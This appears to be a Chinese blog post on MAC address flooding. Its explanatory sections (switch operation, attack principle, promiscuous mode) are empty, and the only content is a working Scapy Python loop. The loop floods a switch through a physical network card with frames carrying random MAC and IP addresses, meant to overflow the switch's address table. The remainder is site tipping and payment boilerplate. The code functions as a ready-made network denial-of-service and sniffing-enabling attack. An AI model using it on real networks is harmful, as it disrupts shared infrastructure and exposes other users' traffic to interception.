MAC地址泛洪

目录

一、交换机的工作过程

 二、基本的攻击原理

 三、Python代码

四、混杂模式


一、交换机的工作过程

 二、基本的攻击原理

 三、Python代码

# MAC地址泛洪
def mac_flood():
    while True:
        #随机MAC
        randmac=RandMAC("*:*:*:*:*:*")
        print(randmac)
        #随机IP
        srandip=f"{random.randint(1,254)}.{random.randint(1,254)}.{random.randint(1,254)}.{random.randint(1,254)}"
        drandip=f"{random.randint(1,254)}.{random.randint(1,254)}.{random.randint(1,254)}.{random.randint(1,254)}"
        print(srandip)
        #构造数据包 发送给虚拟机
        packet=Ether(src=randmac,dst=randmac)/IP(src=srandip,dst=drandip) # 随机链路层
        # sendp(packet,iface='VMware Virtual Ethernet Adapter for VMnet8',loop=0) #sendp发送二层数据包 send发3、4层
        # 通过物理网卡发给交换机(如果连上交换机的情况下)
        sendp(packet,iface='Realtek PCIe GbE Family Controller',loop=0) # show_interfaces()查看网卡名称iface 

四、混杂模式

 

 

 

 

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值